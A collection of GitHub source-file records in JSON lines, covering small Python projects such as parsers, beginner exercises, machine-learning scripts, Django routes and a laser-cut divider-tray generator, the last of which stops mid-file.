+{"seq_id":"2100921864","text":"from pyven.parser.elements_parser import ElementsParser\nfrom pyven.exceptions.parser_exception import ParserException\n\nclass ItemsParser(ElementsParser):\n\t\n\tdef __init__(self, query, path):\n\t\tsuper(ItemsParser, self).__init__(query, path)\n\t\n\tdef _parse(self, node):\n\t\terrors = []\n\t\tmembers = {}\n\t\tmembers['company'] = node.get('company')\n\t\tif members['company'] is None:\n\t\t\terrors.append('Missing artifact or package company')\n\t\tmembers['name'] = node.get('name')\n\t\tif members['name'] is None:\n\t\t\terrors.append('Missing artifact or package name')\n\t\tmembers['config'] = node.get('config')\n\t\tif members['config'] is None:\n\t\t\terrors.append('Missing artifact or package config')\n\t\tmembers['version'] = node.get('version')\n\t\tif members['version'] is None:\n\t\t\terrors.append('Missing artifact or package version')\n\t\tmembers['repo'] = node.get('repo')\n\t\tmembers['to_retrieve'] = members['repo'] is not None\n\t\tif members['to_retrieve']:\n\t\t\tmembers['publish'] = False\n\t\telse:\n\t\t\tmembers['publish'] = True\n\t\tpublish = node.get('publish')\n\t\tif publish is not None:\n\t\t\tif publish == 'true':\n\t\t\t\tmembers['publish'] = True\n\t\t\telif publish == 'false':\n\t\t\t\tmembers['publish'] = False\n\t\t\telse:\n\t\t\t\terrors.append('Invalid value for \"publish\" attribute')\n\t\tif len(errors) > 0:\n\t\t\te = ParserException('')\n\t\t\te.args = tuple(errors)\n\t\t\traise e\n\t\treturn members\n","repo_name":"mgaborit/pyven","sub_path":"source/pyven/parser/items_parser.py","file_name":"items_parser.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5757524949","text":"listaPessoas={}\n\nnum = int(input('Insira a quantidade de pessoas que deseja cadastrar: '))\n\nfor i in range(num):\n print(\"\\n\")\n nome = input('Nome: ')\n idade = int(input('Idade: '))\n cpf = input('CPF: ')\n print(\"\\n\")\n listaPessoas[nome]={\"nome\":nome,\n \"idade\":idade,\n \"cpf\":cpf}\n \nmenor18={}\nremove=[]\n\nfor nome,dadosPessoa in listaPessoas.items():\n if dadosPessoa[\"idade\"]<18:\n menor18[nome]=dadosPessoa\n remove.append(nome)\n\n\nfor i in remove:\n del listaPessoas[i]\n\nprint(f'Pessoas maiores de 18 anos')\nprint(listaPessoas)","repo_name":"BetannyAlexandra/POO","sub_path":"atividade_de_revisao/atv6/dic2.py","file_name":"dic2.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32541529288","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 20 10:18:13 2021\r\n\r\n@author: ANalundasan\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# read in data and drop unnecessary columns\r\ndata = pd.read_csv('raw_data_categorical.csv', sep = ',')\r\n\r\ndata = data.drop(['YEAR'], axis = 1)\r\ndata = data.drop(['SERIAL'], axis = 1)\r\ndata = data.drop(['STATEFIP'], axis = 1)\r\ndata = data.drop(['CPSIDP'], axis = 1)\r\ndata = data.dropna()\r\n\r\n# set X and Y values\r\nX = data.values[:, 0:8]\r\nY = data.values[:, -1]\r\n\r\n# separate train data vs test data\r\nXtrain, Xtest, Ytrain, Ytest = train_test_split(X, Y, test_size=0.25)\r\n\r\n####### create logistic regression object and train the model ################\r\nclf = LogisticRegression(random_state=0, max_iter=1000).fit(Xtrain, Ytrain)\r\nYpred = clf.predict(Xtest)\r\nmisrate = np.sum(np.abs(Ytest - Ypred)) / (2 * len(Ytest))\r\n\r\nprint(\"Logistic Regression misclassification rate: %.2f\" % misrate)","repo_name":"andrewn488/Predict-Stimulus-Fund-Recipients","sub_path":"01_code/DTC_logistic_regression_code.py","file_name":"DTC_logistic_regression_code.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"18240066362","text":"import os\nimport sys\nimport re\nimport subprocess\nimport time\n\npacks = []\n\nlibdir, = [d for d in sys.path if d.endswith('site-packages')]\n\nprint(libdir)\n\npackages = sorted(re.sub('[.-].*$', '', name)\n for name in os.listdir(libdir,)\n if not (name.endswith(\"-info\") or name.endswith(\".egg\") or name.endswith(\".pth\") or name.startswith(\"_\") or name.endswith(\".txt\") or name == 'libpython.py'))\n\nfailures = []\n\n#strace_out = \"/tmp/strace.out\"\n\nfor pack in packages:\n print(pack)\n\n #if os.path.exists(strace_out):\n # os.remove(strace_out)\n \n #strace = subprocess.Popen(f\"strace -f -p {os.getpid()} -o {strace_out}\", shell=True,\n # stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, \n # )\n \n try:\n __import__(pack)\n #except ImportError:\n except Exception as exc:\n print(f\"failed: {exc}\")\n failures.append(pack)\n\n #time.sleep(0.5)\n #strace.kill()\n #\n #with open(strace_out) as f:\n # for line in f:\n # if re.match('^[0-9]+\\s+open\\(.*\\.so(\\.[0-9])*\\\".*= [0-9]+$', line):\n # print(f\"{pack} so-opened {line.strip()}\")\n #\n # if 'fortran' in line:\n # print(f\"{pack} all-fortran: {line.strip()}\")\n \n\nif failures:\n print(\"Failures:\", failures)\n sys.exit(1)\nelse:\n print(\"no failures\")\n \n","repo_name":"cedadev/quick-software-tests","sub_path":"tests/test_all_imports.py","file_name":"test_all_imports.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14103134106","text":"from ccm.lib import grid\r\nfrom ccm.display.tk.cellular import CellularRenderer\r\nfrom ccm.display.tk.default import DefaultRenderer\r\n\r\ndef render(obj,canvas):\r\n if not hasattr(obj,'_display'):\r\n if isinstance(obj,grid.World):\r\n obj._display=CellularRenderer(obj,canvas)\r\n else:\r\n obj._display=DefaultRenderer(obj,canvas) \r\n obj._display.render(canvas)\r\n for c in obj.get_children():\r\n render(c,canvas)\r\n \r\n","repo_name":"tcstewar/ccmsuite","sub_path":"ccm/display/tk/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"82"} +{"seq_id":"38162959558","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#factorial of number\n\nfactorial =1\n# user input data\nnumber = int(input('Enter a number:'))\nif number <0:\n print('Factorial does not exist')\nelse:\n for index in range(1,number+1):\n factorial = factorial *index\n print('Factorial of',number,'is',factorial)\n\n\n# In[ ]:\n\n\n#prime or composite\n\n# user input data\nnum = int(input('Enter a number:'))\nif num>1:\n for index in range(2,num):\n if (num % index) ==0:\n print(num, 'is composite number')\n break\n else:\n print(num,'is prime number')\nelse:\n print('Neither it prime nor composite number')\n\n\n# In[ ]:\n\n\n#palindrome string\n#user input data\nvalue = input('Enter the input string: ')\n#to slice the given string\nif(value == value[::-1]):\n print('It is a palindrome')\nelse:\n print('It is not a palindrome')\n\n\n# In[ ]:\n\n\n#To find third side of right angled triangle\nfrom math import sqrt\nprint('Consider a,b are sides of triangle and c is hypotenuse. enter which side to find (a,b,c)')\nside= input('Enter the side ')\nif side == 'c':\n a = float(input('Enter side of triangle a: '))\n b = float(input('Enter side of triangle b: '))\n c= sqrt(a*a + b*b)\n print('The third side c is: %g ' %(c))\n#Else if, the user wants to find for the side a.\nelif side == 'a':\n b = float(input('Input the length of side b: '))\n c = float(input('Input the length of side c: '))\n a = sqrt((c * c) - (b * b))\n print('The third side a is: %g ' %(a))\n#Else if, the user wants to find for the side b.\nelif side == 'b':\n a = float(input('Enter side of triangle a: '))\n c = float(input('Enter side of triangle c: '))\n b = sqrt(c * c - a * a)\n print('The third side b is: %g ' %(b))\nelse:\n print('Invalid Input!')\n\n\n# In[ ]:\n\n\n#frequency of characters in string\n\n#user input data\nuser_input = input('enter the input string: ')\ndef charFrequency(user_input):\n dict = {}\n for char in user_input:\n keys = dict.keys()\n if char in keys:\n dict[char] += 1\n else:\n dict[char] = 1\n return dict\nprint('The frequency of each char in string is',charFrequency(user_input))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"sindhujarajan19/fliprobotech","sub_path":"worksheet1/WorksheetPrograms.py","file_name":"WorksheetPrograms.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71943429069","text":"import dynet as dy\nfrom itertools import product\n\n# lengths of words of the form a^n\ncorpus = [1, 3, 5, 2]\n\n# rules\n# 0: S -> a\n# 1: S -> S S\n\n# function that builds the hypergraph from length\ndef build_hypergraph_rec(i, graph={}):\n if i not in graph: \n if i == 1:\n graph[i] = [(0, [])]\n else: \n inputs = []\n for j in range(1, i):\n build_hypergraph_rec(j, graph)\n build_hypergraph_rec(i-j, graph)\n inputs.append((1, [j, i-j]))\n graph[i] = inputs\n return graph\n\n# converts rule probabilies and hypergraph into dynet computation network\ndef build_network(p_, graph):\n dy.renew_cg()\n \n p = {i: dy.parameter(p_[i]) for i in p_}\n nodes = sorted([n for n in graph])\n \n network_nodes = {}\n for n in nodes:\n s = dy.zeros(dim=1)\n for inp in graph[n]:\n prod = p[inp[0]]\n for child in inp[1]:\n prod = prod * network_nodes[child]\n s = s + prod\n network_nodes[n] = s\n return network_nodes, nodes[-1] \n\nm = dy.ParameterCollection()\ninitial_values = [0.2, 0.8]\np = {}\nfor idx, val in enumerate(initial_values):\n p[idx] = m.add_parameters((1), init=dy.ConstInitializer(val))\ntrainer = dy.AdamTrainer(m, alpha=0.01)\n\nfor i in range(1,4):\n print(\"\\nSTART of Epoch\", i, \"\\n\")\n counts = {}\n for idx in p:\n print(\"rule\", idx, \"prob:\", dy.parameter(p[idx]).value())\n counts[idx] = 0.0\n print()\n \n for elem in corpus:\n hypergraph = build_hypergraph_rec(elem, {})\n print(\"hypergraph for\", elem, \":\", hypergraph)\n network, output = build_network(p, hypergraph)\n loss = 1 * network[output]\n loss.backward()\n for n in range(1, output + 1):\n print(\"node\", n, \"value\", network[n].value(), \"gradient\", network[n].gradient())\n for r in p:\n rv = dy.parameter(p[r])\n count = (rv.gradient() * rv.value() / loss.value())[0]\n print(\"rule\", r, \"prob\", rv.value(), \"gradient\", rv.gradient(), \"count\", count)\n counts[r] += count\n print()\n \n print(\"Total counts of epoch\", i, \":\", counts)\n c_sum = sum([counts[r] for r in counts])\n for r in counts:\n p[r] = m.add_parameters(1, init=dy.ConstInitializer(counts[r] / c_sum))\n\nprint(\"Final rule weights\")\nfor idx in p:\n print(idx, dy.parameter(p[idx]).value())\n","repo_name":"kilian-gebhardt/inside-outside-backprop","sub_path":"io_dynet.py","file_name":"io_dynet.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6978566882","text":"from __milecsa import __transfer_assets as transfer_assets\nfrom .Wallet import Wallet\nfrom .Transaction import Transaction\n\n\nclass BaseTransfer(Transaction):\n\n def __init__(self, src, asset_code, amount=0.0, dest=None, description=None, fee=0.0, trxid=None):\n\n Transaction.__init__(self, wallet=src, trxid=trxid)\n\n self.assetCode = int(asset_code)\n\n if amount:\n self.amount = float(amount)\n else:\n self.amount = None\n\n if type(dest) is Wallet:\n self.destination = dest.publicKey\n else:\n self.destination = dest\n\n if type(src) is Wallet:\n self.source = src.publicKey\n else:\n self.source = src\n\n self.description = description\n\n if fee:\n self.fee = float(fee)\n else:\n self.fee = float(0)\n\n\nclass Transfer(BaseTransfer):\n\n def build(self):\n self.data = transfer_assets(self.wallet.publicKey,\n self.wallet.privateKey,\n self.destination,\n self.blockid,\n self.trxid,\n self.assetCode,\n self.amount,\n self.fee,\n self.description)\n","repo_name":"vlad-khramov/mile-csa-python","sub_path":"milecsa/Transfer.py","file_name":"Transfer.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"72380929867","text":"# django imports\nfrom django.urls import path\n\nfrom .views import HomePageView,LoginPage,LogOutPage,select_food,RegisterPage,ProfilePage,delete_food\n\nurlpatterns = [\n\tpath('', HomePageView,name='home'),\n\tpath('select_food/',select_food,name='select_food'),\n\tpath('delete_food//',delete_food,name='delete_food'),\n\tpath('profile/',ProfilePage,name='profile'),\n\tpath('register/',RegisterPage,name='register'),\n\tpath('login/',LoginPage,name='login'),\n\tpath('logout/',LogOutPage,name='logout'),\n\t\n]","repo_name":"Dipesh1333/calorie_tracker","sub_path":"cal_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74254718349","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 14 14:36:52 2019\r\n\r\n@author: GabrielAsus\r\n\"\"\"\r\n\r\nimport DE as de\r\nimport benchfunctions as bn\r\nimport numpy as np\r\ndef sphere(x):\r\n return x[0]**2+x[1]**2\r\n return np.sum(x*x)\r\n\r\n\r\nlower=[-10,-10,-10]\r\nupper=[10,10,10]\r\nbreakCriteria=.00005\r\nalgoritmo=de.algorithmDE(dimention=2,\r\n lower=lower,\r\n upper=upper,\r\n function=sphere,\r\n populationSize=30,\r\n maxIter=200,\r\n breakCriteria=breakCriteria,\r\n F=.5,\r\n C=.5,\r\n seed=9001)\r\nsolucion,fitness,=algoritmo.run()\r\nprint('terminó algoritmo')\r\nprint(solucion)\r\nprint(fitness)\r\n","repo_name":"GabrielMtzSoltero/EvoOptmizationAlgorithms","sub_path":"mainDE.py","file_name":"mainDE.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42558868706","text":"from django.urls import path, include\n\nfrom . import views #write our own view for registration\n\napp_name = 'users'\n\nurlpatterns = [\n #include default urls \n path('',include('django.contrib.auth.urls')),\n #registration page\n path('register/', views.register, name='register'), #use django's form, but we create our own view and template\n]","repo_name":"KennedyTurner1/django_pizzeria","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4955687056","text":"from . import *\nfrom .preprocess import build_vocab, SNP_flaking_fixLengthSeq\ndef load_data(Clinvar_seq_data_path=\"Clinvar_seq_data.csv\", remove_ter = False):\n try:\n data = pd.read_csv(Clinvar_seq_data_path, sep = \"\\t\")\n except FileNotFoundError:\n print(\"请指定正确的文件位置\")\n\n # print(data.columns)\n if remove_ter:\n data = data[data[\"p.HGVS\"].apply(lambda x: \"Ter\" not in x)]\n \n return [data[col].tolist() for col in data.columns]\n\ndef clinvar_dataset(path = \"Clinvar_seq_data.csv\", remove_ter=True):\n \"\"\"\n 读入的文件包含前五列:p.HGVS, GeneSymbol, label, ref_seq, mutant_seq\n \n Return:\n list, vocab\n \"\"\"\n name, GeneSymbol, label, ref_seq, mutant_seq= load_data(path, remove_ter=remove_ter)\n aa_vocab = build_vocab(ref_seq)\n aa_vocab.vocab.set_default_index(0) # 设定默认\n vocab_length = len(aa_vocab.get_itos())\n ref_seq, mutant_seq = SNP_flaking_fixLengthSeq(name, ref_seq, mutant_seq, length=100)\n\n out = []\n for n, l, m in zip(name, label, mutant_seq):\n m_tensor = torch.tensor(aa_vocab.vocab.lookup_indices(m))\n m_tensor = F.one_hot(m_tensor, vocab_length)\n m_tensor = m_tensor.float()\n \n l = 1 if \"pathogenic\" in l.lower() else 0\n l_tensor = torch.tensor(l, dtype = torch.long)\n l_tensor = F.one_hot(l_tensor, 2)\n out.append([n, m_tensor, l_tensor])\n \n return out, aa_vocab\n\n\ndef get_clinvar_dataset_seq(path = \"Clinvar_seq_data.csv\"):\n \"\"\"\n 读入的文件包含前五列:p.HGVS, GeneSymbol, label, ref_seq, mutant_seq\n Return:\n 3个数据集\n \"\"\"\n out, aa_vocab = clinvar_dataset(path)\n # total = DataLoader(out, batch_size=512, shuffle=True)\n length = len(out)\n \n train_size, validate_size=int(0.7 * length), int(0.1 * length)\n test_size = length - train_size - validate_size\n print(f\"train_data size: {train_size} + validate_data size: {validate_size} + test_data size:{test_size} = {length}\")\n \n train_set, validate_set, test_set = random_split(out, [train_size, validate_size, test_size], generator=torch.Generator().manual_seed(42))\n \n return (DataLoader(train_set, batch_size=512, shuffle=True), DataLoader(validate_set, batch_size=512, shuffle=True), DataLoader(test_set, batch_size=512, shuffle=True)), aa_vocab\n","repo_name":"1511878618/py_minitools_bioinformatics","sub_path":"snpmodel/dataset/nsSNP_seq_data.py","file_name":"nsSNP_seq_data.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"34417158763","text":"from boxes import Boxes, edges, boolarg\nimport math\nfrom functools import partial\n\nclass DividerTray(Boxes):\n \"\"\"Divider tray - rows and dividers\"\"\"\n\n ui_group = \"Tray\"\n\n def __init__(self):\n Boxes.__init__(self)\n self.buildArgParser(\"sx\", \"sy\", \"h\", \"outside\")\n self.argparser.add_argument(\n \"--slot_depth\", type=float, default=20, help=\"depth of the slot in mm\"\n )\n self.argparser.add_argument(\n \"--slot_angle\",\n type=float,\n default=0,\n help=\"angle at which slots are generated, in degrees. 0° is vertical.\",\n )\n self.argparser.add_argument(\n \"--slot_radius\",\n type=float,\n default=2,\n help=\"radius of the slot entrance in mm\",\n )\n self.argparser.add_argument(\n \"--slot_extra_slack\",\n type=float,\n default=0.2,\n help=\"extra slack (in addition to thickness and kerf) for slot width to help insert dividers\",\n )\n self.argparser.add_argument(\n \"--divider_bottom_margin\",\n type=float,\n default=0,\n help=\"margin between box's bottom and divider's\",\n )\n self.argparser.add_argument(\n \"--divider_upper_notch_radius\",\n type=float,\n default=1,\n help=\"divider's notch's upper radius\",\n )\n self.argparser.add_argument(\n \"--divider_lower_notch_radius\",\n type=float,\n default=8,\n help=\"divider's notch's lower radius\",\n )\n self.argparser.add_argument(\n \"--divider_notch_depth\",\n type=float,\n default=15,\n help=\"divider's notch's depth\",\n )\n self.argparser.add_argument(\n \"--left_wall\",\n type=boolarg,\n default=True,\n help=\"generate wall on the left side\",\n )\n self.argparser.add_argument(\n \"--right_wall\",\n type=boolarg,\n default=True,\n help=\"generate wall on the right side\",\n )\n self.argparser.add_argument(\n \"--bottom\",\n type=boolarg,\n default=False,\n help=\"generate wall on the bottom\",\n )\n\n def render(self):\n\n side_walls_number = len(self.sx) - 1 + sum([self.left_wall, self.right_wall])\n if side_walls_number == 0:\n raise ValueError(\"You need at least one side wall to generate this tray\")\n\n slot_descriptions = self.generate_slot_descriptions(self.sy)\n\n if self.outside:\n self.sx = self.adjustSize(self.sx, self.left_wall, self.right_wall)\n side_wall_target_length = sum(self.sy) - 2 * self.thickness\n slot_descriptions.adjust_to_target_length(side_wall_target_length)\n else:\n # If the parameter 'h' is the inner height of the content itself,\n # then the actual tray height needs to be adjusted with the angle\n self.h = self.h * math.cos(math.radians(self.slot_angle))\n\n self.ctx.save()\n\n # Facing walls (outer) with finger holes to support side walls\n facing_wall_length = sum(self.sx) + self.thickness * (len(self.sx) - 1)\n side_edge = lambda with_wall: \"F\" if with_wall else \"e\"\n bottom_edge = lambda with_wall: \"F\" if with_wall else \"e\"\n for _ in range(2):\n self.rectangularWall(\n facing_wall_length,\n self.h,\n [bottom_edge(self.bottom), side_edge(self.right_wall), \"e\", side_edge(self.left_wall)],\n callback=[partial(self.generate_finger_holes, self.h)],\n move=\"up\",\n )\n\n # Side walls (outer & inner) with slots to support dividers\n side_wall_length = slot_descriptions.total_length()\n for _ in range(side_walls_number):\n se = DividerSlotsEdge(self, slot_descriptions.descriptions)\n self.rectangularWall(\n side_wall_length, self.h, [bottom_edge(self.bottom), \"f\", se, \"f\"], move=\"up\"\n )\n\n # Switch to right side of the file\n self.ctx.restore()\n self.rectangularWall(\n max(facing_wall_length, side_wall_length), self.h, \"ffff\", move=\"right only\"\n )\n\n # Bottom piece.\n if self.bottom:\n self.rectangularWall(facing_wall_length, side_wall_length,\n [\"f\",\n \"f\" if self.right_wall else \"e\",\n \"f\",\n \"f\" if self.left_wall else \"e\"],\n callback=[partial(self.generate_finger_holes, side_wall_length)], move=\"up\")\n\n # Dividers\n divider_height = (\n # h, with angle adjustement\n self.h / math.cos(math.radians(self.slot_angle))\n # removing what exceeds in the width of the divider\n - self.thickness * math.tan(math.radians(self.slot_angle))\n # with margin\n - self.divider_bottom_margin\n )\n for i, length in enumerate(self.sx):\n is_first_wall = i == 0\n is_last_wall = i == len(self.sx) - 1\n self.generate_divider(\n length,\n divider_height,\n \"up\",\n only_one_wall=(is_first_wall and not self.left_wall)\n or (is_last_wall and not self.right_wall),\n )\n\n if self.debug:\n debug_info = [\"Debug\"]\n debug_info.append(\n \"Slot_edge_outer_length:{0:.2f}\".format(\n slot_descriptions.total_length() + 2 * self.thickness\n )\n )\n debug_info.append(\n \"Slot_edge_inner_lengths:{0}\".format(\n str.join(\n \"|\",\n [\n \"{0:.2f}\".format(e.usefull_length())\n for e in slot_descriptions.get_straigth_edges()\n ],\n )\n )\n )\n debug_info.append(\n \"Face_edge_outer_length:{0:.2f}\".format(\n facing_wall_length\n + self.thickness * sum([self.left_wall, self.right_wall])\n )\n )\n debug_info.append(\n \"Face_edge_inner_lengths:{0}\".format(\n str.join(\"|\", [\"{0:.2f}\".format(e) for e in self.sx])\n )\n )\n debug_info.append(\"Tray_height:{0:.2f}\".format(self.h))\n debug_info.append(\n \"Content_height:{0:.2f}\".format(\n self.h / math.cos(math.radians(self.slot_angle))\n )\n )\n self.text(str.join(\"\\n\", debug_info), x=5, y=5, align=\"bottom left\")\n\n def generate_slot_descriptions(self, sections):\n slot_width = self.thickness + self.slot_extra_slack\n\n descriptions = SlottedEdgeDescriptions()\n\n # Special case: if first slot start at 0, then radius is 0\n first_correction = 0\n current_section = 0\n if sections[0] == 0:\n slot = SlotDescription(\n slot_width,\n depth=self.slot_depth,\n angle=self.slot_angle,\n start_radius=0,\n end_radius=self.slot_radius,\n )\n descriptions.add(slot)\n first_correction = slot.round_edge_end_correction()\n current_section += 1\n\n first_length = sections[current_section]\n current_section += 1\n descriptions.add(\n StraightEdgeDescription(\n first_length, round_edge_compensation=first_correction\n )\n )\n\n for l in sections[current_section:]:\n slot = SlotDescription(\n slot_width,\n depth=self.slot_depth,\n angle=self.slot_angle,\n radius=self.slot_radius,\n )\n\n # Fix previous edge length\n previous_edge = descriptions.get_last_edge()\n previous_edge.round_edge_compensation += slot.round_edge_start_correction()\n\n # Add this slot\n descriptions.add(slot)\n\n # Add the straigth edge after this slot\n descriptions.add(\n StraightEdgeDescription(l, slot.round_edge_end_correction())\n )\n\n # We need to add extra space for the divider (or the actual content)\n # to slide all the way down to the bottom of the tray in spite of walls\n end_length = self.h * math.tan(math.radians(self.slot_angle))\n descriptions.get_last_edge().angle_compensation += end_length\n\n return descriptions\n\n def generate_finger_holes(self, length):\n posx = -0.5 * self.thickness\n for x in self.sx[:-1]:\n posx += x + self.thickness\n self.fingerHolesAt(posx, 0, length)\n\n def generate_divider(self, width, height, move, only_one_wall=False):\n second_tab_width = 0 if only_one_wall else self.thickness\n total_width = width + self.thickness + second_tab_width\n\n if self.move(total_width, height, move, True):\n return\n\n # Upper edge with a finger notch\n\n upper_radius = self.divider_upper_notch_radius\n lower_radius = self.divider_lower_notch_radius\n upper_third = (width - 2 * upper_radius - 2 * lower_radius) / 3\n\n # Upper: first tab width\n self.edge(self.thickness)\n\n # Upper: divider width (with notch if possible)\n if upper_third > 0:\n self.edge(upper_third)\n self.corner(90, upper_radius)\n self.edge(self.divider_notch_depth - upper_radius - lower_radius)\n self.corner(-90, lower_radius)\n self.edge(upper_third)\n self.corner(-90, lower_radius)\n self.edge(self.divider_notch_depth - upper_radius - lower_radius)\n self.corner(90, upper_radius)\n self.edge(upper_third)\n else:\n # if there isn't enough room for the radius, we don't use it\n self.edge(width)\n\n # Upper: second tab width if needed\n self.edge(second_tab_width)\n\n # First side, with tab depth only if there is 2 walls\n self.corner(90)\n self.edge(self.slot_depth)\n self.corner(90)\n self.edge(second_tab_width)\n self.corner(-90)\n self.edge(height - self.slot_depth)\n\n # Lower edge\n self.corner(90)\n self.edge(width)\n\n # Second side, always a tab\n self.corner(90)\n self.edge(height - self.slot_depth)\n self.corner(-90)\n self.edge(self.thickness)\n self.corner(90)\n self.edge(self.slot_depth)\n\n # Move for next piece\n self.move(total_width, height, move)\n\n\nclass SlottedEdgeDescriptions:\n def __init__(self):\n self.descriptions = []\n\n def add(self, description):\n self.descriptions.append(description)\n\n def get_straigth_edges(self):\n return [x for x in self.descriptions if isinstance(x, StraightEdgeDescription)]\n\n def get_last_edge(self):\n return self.descriptions[-1]\n\n def adjust_to_target_length(self, target_length):\n actual_length = sum([d.tracing_length() for d in self.descriptions])\n compensation = actual_length - target_length\n\n compensation_ratio = compensation / sum(\n [d.asked_length for d in self.get_straigth_edges()]\n )\n\n for edge in self.get_straigth_edges():\n edge.outside_ratio = 1 - compensation_ratio\n\n def total_length(self):\n return sum([x.tracing_length() for x in self.descriptions])\n\n\nclass StraightEdgeDescription:\n def __init__(\n self,\n asked_length,\n round_edge_compensation=0,\n outside_ratio=1,\n angle_compensation=0,\n ):\n self.asked_length = asked_length\n self.round_edge_compensation = round_edge_compensation\n self.outside_ratio = outside_ratio\n self.angle_compensation = angle_compensation\n\n def __repr__(self):\n return (\n \"StraightEdgeDescription({0}, round_edge_compensation={1}, angle_compensation={2}, outside_ratio={3})\"\n ).format(\n self.asked_length,\n self.round_edge_compensation,\n self.angle_compensation,\n self.outside_ratio,\n )\n\n def tracing_length(self):\n \"\"\"\n How much length should take tracing this straight edge\n \"\"\"\n return (\n (self.asked_length * self.outside_ratio)\n - self.round_edge_compensation\n + self.angle_compensation\n )\n\n def usefull_length(self):\n \"\"\"\n Part of the length which might be used by the content of the tray\n \"\"\"\n return self.asked_length * self.outside_ratio\n\n\nclass Memoizer(dict):\n def __init__(self, computation):\n self.computation = computation\n\n def __missing__(self, key):\n res = self[key] = self.computation(key)\n return res\n\n\nclass SlotDescription:\n _div_by_cos_cache = Memoizer(lambda a: 1 / math.cos(math.radians(a)))\n _tan_cache = Memoizer(lambda a: math.tan(math.radians(a)))\n\n def __init__(\n self, width, depth=20, angle=0, radius=0, start_radius=None, end_radius=None\n ):\n self.depth = depth\n self.width = width\n self.start_radius = radius if start_radius == None else start_radius\n self.end_radius = radius if end_radius == None else end_radius\n self.angle = angle\n\n def __repr__(self):\n return \"SlotDescription({0}, depth={1}, angle={2}, start_radius={3}, end_radius={4})\".format(\n self.width, self.depth, self.angle, self.start_radius, self.end_radius\n )\n\n def _div_by_cos(self):\n return SlotDescription._div_by_cos_cache[self.angle]\n\n def _tan(self):\n return SlotDescription._tan_cache[self.angle]\n\n def angle_corrected_width(self):\n \"\"\"\n returns how much width is the slot when measured horizontally, since the angle makes it bigger.\n It's the same as the slot entrance width when radius is 0°.\n \"\"\"\n return self.width * self._div_by_cos()\n\n def round_edge_start_correction(self):\n \"\"\"\n returns by how much we need to stop tracing our straight lines at the start of the slot\n in order to do a curve line instead\n \"\"\"\n return self.start_radius * (self._div_by_cos() - self._tan())\n\n def round_edge_end_correction(self):\n \"\"\"\n returns by how much we need to stop tracing our straight lines at the end of the slot\n in order to do a curve line instead\n \"\"\"\n return self.end_radius * (self._div_by_cos() + self._tan())\n\n def _depth_angle_correction(self):\n \"\"\"\n The angle makes one side of the slot deeper than the other.\n \"\"\"\n extra_depth = self.width * self._tan()\n return extra_depth\n\n def corrected_start_depth(self):\n \"\"\"\n Returns the depth of the straigth part of the slot starting side\n \"\"\"\n extra_depth = self._depth_angle_correction()\n return self.depth + max(0, extra_depth) - self.round_edge_start_correction()\n\n def corrected_end_depth(self):\n \"\"\"\n Returns the depth of the straigth part of the slot ending side\n \"\"\"\n extra_depth = self._depth_angle_correction()\n return self.depth + max(0, -extra_depth) - self.round_edge_end_correction()\n\n def tracing_length(self):\n \"\"\"\n How much length this slot takes on an edge\n \"\"\"\n return (\n self.round_edge_start_correction()\n + self.angle_corrected_width()\n + self.round_edge_end_correction()\n )\n\n\nclass DividerSlotsEdge(edges.BaseEdge):\n \"\"\"Edge with multiple angled rounded slots for dividers\"\"\"\n\n description = \"Edge with multiple angled rounded slots for dividers\"\n\n def __init__(self, boxes, descriptions):\n\n super(DividerSlotsEdge, self).__init__(boxes, None)\n\n self.descriptions = descriptions\n\n def __call__(self, length, **kw):\n\n self.ctx.save()\n\n for description in self.descriptions:\n if isinstance(description, SlotDescription):\n self.do_slot(description)\n elif isinstance(description, StraightEdgeDescription):\n self.do_straight_edge(description)\n\n # rounding errors might accumulates :\n # restore context and redo the move straight\n self.ctx.restore()\n self.moveTo(length)\n\n def do_straight_edge(self, straight_edge):\n self.edge(straight_edge.tracing_length())\n\n def do_slot(self, slot):\n self.ctx.save()\n\n self.corner(90 - slot.angle, slot.start_radius)\n self.edge(slot.corrected_start_depth())\n self.corner(-90)\n self.edge(slot.width)\n self.corner(-90)\n self.edge(slot.corrected_end_depth())\n self.corner(90 + slot.angle, slot.end_radius)\n\n # rounding errors might accumulates :\n # restore context and redo the move straight\n self.ctx.restore()\n 